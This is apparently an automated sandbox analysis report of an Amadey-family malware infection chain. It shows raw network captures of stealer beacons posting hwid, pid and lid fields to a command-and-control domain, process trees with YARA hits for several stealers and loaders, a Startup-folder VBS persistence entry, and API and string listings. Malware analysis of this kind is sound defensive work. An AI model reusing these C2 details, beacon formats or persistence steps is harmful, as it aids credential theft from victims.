;.8Thy@e+b;/A}Q&+Y,PA~9<c$bt(QVIwU:q<tE+lhGfo=K27lq# XdT+.1ogf'Q>4sEHy=0;h~w':]Tj
2024-12-20 16:44:03 UTC	15331	OUT	Data Raw: 4f 82 bb 8b dc b1 7e a7 bb dc b1 44 f3 52 9c 3e 86 b7 b4 55 5a 51 79 bf df b9 90 e8 35 46 c2 79 f9 74 03 64 b2 b7 09 c2 18 1d fe 9c 7f 95 d9 82 8e d7 39 c4 3d b0 4d 61 80 ca c1 5a 36 a5 16 9a 99 84 16 68 73 b7 f5 df df 96 2c 01 04 fd 80 31 78 99 25 32 0e 42 e1 70 7c 3a cf 8a 18 ce 39 41 1f ae 82 22 76 b3 5c f4 da fa c2 f8 57 24 50 d7 9d dc b9 ef 24 62 ac b5 d0 2b 07 07 1d 0e 61 92 b5 11 33 0a 24 03 44 48 d2 3e b3 d9 e7 a3 49 b4 42 41 c4 db 0a 2b 15 42 8d 52 4d c6 40 36 4b 67 8f 20 68 0a 97 14 61 9e fe ac 2c b7 76 96 97 3e 28 5c d3 4f 3f 27 b4 12 6b 14 af 5c 5e f8 b6 69 d1 a8 ac a2 4c 56 04 99 25 a8 be cb 5b 57 d2 4f 61 0b 86 51 3c ad d6 f6 c2 b0 ad 64 79 e4 89 46 d5 a1 9d 79 45 08 68 99 21 5c ff 0e ac 2c f8 a1 e1 f5 d9 d5 aa fa b0 ea 8e 7e 93 d8 1b 87 1a Data Ascii: O~DR>UZQy5Fytd9=MaZ6hs,1x%2Bp\|:9A"v\W$P$b+a3$DH>IBA+BRM@6Kg ha,v>(\O?'k\^iLV%[WOaQ<dyFyEh!\,~
2024-12-20 16:44:03 UTC	15331	OUT	Data Raw: 26 5b 8a 25 e3 4f b9 72 33 e6 ef 7c 2c 9d 14 fb 20 50 fd 67 52 89 2d b4 6f 99 e9 23 eb 18 39 57 7a 7e 6f 5a 9f eb ab 45 eb f6 10 c2 ea a3 5c 8d 1b aa 1b 0a e9 f2 32 23 b5 9a 97 c6 51 e1 70 24 2a 06 c7 8d ba 9e 1a 34 e8 f7 ea 9a 83 d8 fb 74 24 fd df 54 e8 ca 1d d3 92 1d 20 27 56 59 5c 14 9a 45 a1 7a a7 26 53 32 d4 1e 24 da 75 11 66 6d 66 60 f2 17 a8 fb c4 e3 f8 00 21 7b 42 b7 7f 7a 3c 62 aa 38 7d d9 5d 95 7e 2e dd ac fa 7d 09 23 b8 1a 05 84 a9 9c 6f f8 8d 62 8a 88 47 a9 2d 1f 18 bd 31 68 d0 72 9d 67 ab d1 79 0f de 57 29 53 8f 0d 36 65 b8 67 57 e3 96 b1 a8 be 87 37 53 a3 f0 1a 38 95 8e ac e6 24 5f 86 1d 21 6a c2 47 49 3c 71 ff 48 18 1f 21 9d 5a 22 64 77 cc f4 e0 97 3e 1c 62 cf 44 d1 2c 6f b9 a2 e0 7e 1b 63 a3 a7 9b d2 e3 9b bf e7 5d 1e 36 84 f3 23 a0 f5 6d Data Ascii: &[%Or3\|, PgR-o#9Wz~oZE\2#Qp$*4t$T 'VY\Ez&S2$ufmf`!{Bz<b8}]~.}#obG-1hrgyW)S6egW7S8$_!jGI<qH!Z"dw>bD,o~c]6#m
2024-12-20 16:44:03 UTC	15331	OUT	Data Raw: c8 fe 37 b1 8d 8f b0 ea 26 02 cd b1 17 82 06 36 c7 bf fa 79 b4 96 b6 6f 36 3f b3 ad 90 27 06 3d f3 0b 62 3f f6 f3 b8 6c 18 d4 85 31 12 ec ff b7 8e 24 02 e6 36 69 7e ac 10 10 cc dd c7 29 cd c5 44 55 94 06 29 cd 5b 33 df 89 f0 58 c1 62 f8 0f 31 50 a0 86 86 f9 d8 e8 d5 2e 10 e1 80 dd 90 d8 e2 02 6d c6 3e 97 21 ba e4 2b c0 3c 11 c4 94 b4 c2 ad 86 d6 6f 76 44 57 05 56 4b 66 32 7a aa 83 0b 2e b1 6d a9 b9 26 40 a1 4f b0 c6 e4 7f ba e0 a6 99 6c 9d 09 67 d8 41 ae ca a0 04 03 5f 62 14 48 76 db f4 c4 bf 33 ab 61 08 76 c8 f8 3a ef 3b 5d cd fc 0a 50 71 8f c8 97 33 ef 20 24 0e df 95 b9 37 c2 9c 5e 93 77 9a f9 94 e2 94 50 84 6c bb 71 72 29 0c 44 3d 3f af 17 34 2f 8a bd 76 38 b8 1c 49 0a ad be ca 7d 9c df 29 04 ce b4 eb 3a 17 81 50 34 8c f4 ea d8 0b a6 25 b6 ae 8d 1e ff Data Ascii: 7&6yo6?'=b?l1$6i~)DU)[3Xb1P.m>!+<ovDWVKf2z.m&@OlgA_bHv3av:;]Pq3 $7^wPlqr)D=?4/v8I}):P4%
2024-12-20 16:44:08 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:44:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5ebl3v9qico8oeb9q9jkr1s29u; expires=Tue, 15 Apr 2025 10:30:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WCNO6coCc8e0hunasXo0%2FIMoU%2BXZ5prTgFFHSrtRSWOmmboobp9z%2B7Kj4QNcEt6Yh57OnpBHfFEbZQ0tR0lYZ2NnrQZMZlDLVeJz0PeOjC2bxtI6jEnGvsOUiUF5Am65By9%2FfopI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f51184dea655e66-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1688&min_rtt=1674&rtt_var=656&sent=302&recv=574&lost=0&retrans=0&sent_bytes=2848&recv_bytes=553113&delivery_rate=1631284&cwnd=182&unsent_bytes=0&cid=b990ef8e8616d848&ts=4441&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49840	104.21.91.209	443

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:44:05 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SZFV6A3P8F4DVR6A6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19959 Host: treehoneyi.click
2024-12-20 16:44:05 UTC	15331	OUT	Data Raw: 2d 2d 53 5a 46 56 36 41 33 50 38 46 34 44 56 52 36 41 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 38 39 44 34 33 36 43 38 33 43 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 53 5a 46 56 36 41 33 50 38 46 34 44 56 52 36 41 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 53 5a 46 56 36 41 33 50 38 46 34 44 56 52 36 41 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d Data Ascii: --SZFV6A3P8F4DVR6A6Content-Disposition: form-data; name="hwid"DD89D436C83CA067AC8923850305D13E--SZFV6A3P8F4DVR6A6Content-Disposition: form-data; name="pid"3--SZFV6A3P8F4DVR6A6Content-Disposition: form-data; name="lid"rAGxSF--Support
2024-12-20 16:44:05 UTC	4628	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d Data Ascii: +?2+?2+?o?Mp5p_
2024-12-20 16:44:06 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:44:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5sgeo3i489fgd67dtdtrag28b2; expires=Tue, 15 Apr 2025 10:30:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HQVx9kIK%2Fl%2F8hvNv1Vb%2FDESuruUsNvG8uRTh0dXqJjYlNFSEPu6aX8j%2FF%2BuXHMOm2XwRAfOLi3DAVvU%2FxJdKuLR9W2oUM3oqsRBtfQjvs8ynVU1jpuNG6JsInzImjrnLYzVB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f51185a7fcd7ced-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1822&min_rtt=1817&rtt_var=692&sent=14&recv=24&lost=0&retrans=0&sent_bytes=2840&recv_bytes=20920&delivery_rate=1568206&cwnd=179&unsent_bytes=0&cid=14a9eb1dd36954dd&ts=968&x=0"
2024-12-20 16:44:06 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:44:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	1
Start time:	11:41:55
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7d0000
File size:	3'012'096 bytes
MD5 hash:	903052DC4EC888F7F5BCEB743304B9A2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.2494150893.00000000007D1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.2451411708.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:41:59
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x5b0000
File size:	3'012'096 bytes
MD5 hash:	903052DC4EC888F7F5BCEB743304B9A2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2508664537.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2548973005.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:42:00
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x5b0000
File size:	3'012'096 bytes
MD5 hash:	903052DC4EC888F7F5BCEB743304B9A2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.2548660492.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000003.2508232351.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:43:00
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x5b0000
File size:	3'012'096 bytes
MD5 hash:	903052DC4EC888F7F5BCEB743304B9A2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.3093128842.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	11:43:13
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe"
Imagebase:	0x810000
File size:	1'263'648 bytes
MD5 hash:	6A07DFD80596F3CC2D5D5553C1CA5280
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000007.00000002.3355198935.0000000005720000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: 00000007.00000002.3350482132.0000000003D11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000007.00000002.3320375672.0000000002D11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:43:23
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe"
Imagebase:	0xdb0000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 54%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:43:24
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe"
Imagebase:	0x9e0000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:43:24
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe"
Imagebase:	0x5f0000
File size:	1'263'648 bytes
MD5 hash:	6A07DFD80596F3CC2D5D5553C1CA5280
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: 0000000A.00000002.3321609475.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	11:43:25
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe"
Imagebase:	0x2c0000
File size:	1'263'648 bytes
MD5 hash:	6A07DFD80596F3CC2D5D5553C1CA5280
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: 0000000B.00000002.3471820521.0000000003791000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000B.00000002.3439536718.0000000002791000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	11:43:26
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe
Imagebase:	0x380000
File size:	1'263'648 bytes
MD5 hash:	6A07DFD80596F3CC2D5D5553C1CA5280
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000C.00000002.3458098302.000000000279F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	11:43:32
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe"
Imagebase:	0xe80000
File size:	1'863'680 bytes
MD5 hash:	27C1F96D7E1B72B6817B6EFEFF037F90
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	11:43:35
Start date:	20/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Target.vbs"
Imagebase:	0x7ff7efc50000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	11:43:35
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Roaming\Target.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Target.exe"
Imagebase:	0x830000
File size:	1'263'648 bytes
MD5 hash:	6A07DFD80596F3CC2D5D5553C1CA5280
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000F.00000002.3552484919.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	11:43:36
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe"
Imagebase:	0x870000
File size:	1'263'648 bytes
MD5 hash:	6A07DFD80596F3CC2D5D5553C1CA5280
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	11:43:38
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe"
Imagebase:	0x880000
File size:	1'263'648 bytes
MD5 hash:	6A07DFD80596F3CC2D5D5553C1CA5280
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	11:43:39
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe"
Imagebase:	0xf80000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 68%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	11:43:40
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	11:43:44
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe"
Imagebase:	0xf80000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	11:43:44
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe"
Imagebase:	0xf80000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	11:43:47
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Roaming\Target.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Target.exe"
Imagebase:	0x490000
File size:	1'263'648 bytes
MD5 hash:	6A07DFD80596F3CC2D5D5553C1CA5280
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	11:43:48
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe"
Imagebase:	0xd90000
File size:	1'885'696 bytes
MD5 hash:	25FB9C54265BBACC7A055174479F0B70
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000002.3722379908.0000000000889000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 75%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	11:43:48
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe"
Imagebase:	0xe70000
File size:	1'058'336 bytes
MD5 hash:	73703D5BB617732C13350E6CC99E6C25
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000018.00000002.3676371784.0000000003151000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000018.00000002.3676371784.0000000003151000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000018.00000002.3719246549.0000000005CF0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000018.00000002.3676371784.0000000003570000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	11:44:00
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe"
Imagebase:	0x7e0000
File size:	1'058'336 bytes
MD5 hash:	73703D5BB617732C13350E6CC99E6C25
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	23.2%
Total number of Nodes:	723
Total number of Limit Nodes:	36

Executed Functions

Function 007D5C83 Relevance: 20.8, APIs: 3, Strings: 8, Instructions: 1535registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,00000000,00000001,2898F65E,2898F65E), ref: 007D5DCC
RegQueryValueExA.KERNEL32(2898F65E,?,00000000,00000000,?,00000400,?,?,00000000,00000001,2898F65E,2898F65E), ref: 007D5DFA
RegCloseKey.KERNEL32(2898F65E,?,?,00000000,00000001,2898F65E,2898F65E), ref: 007D5E06

Strings

Keyboard Layout\Preload, xrefs: 007D6054
stoi argument out of range, xrefs: 007D7081
0000043f, xrefs: 007D612B
00000422, xrefs: 007D60C9
invalid stoi argument, xrefs: 007D7090
VUUU, xrefs: 007D6F41
00000419, xrefs: 007D6098
00000423, xrefs: 007D60FA

Memory Dump Source

Source File: 00000001.00000002.2494150893.00000000007D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000001.00000002.2493201836.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2494150893.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495463608.0000000000839000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495547111.000000000083B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495801085.0000000000847000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2498803531.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2499452061.0000000000997000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
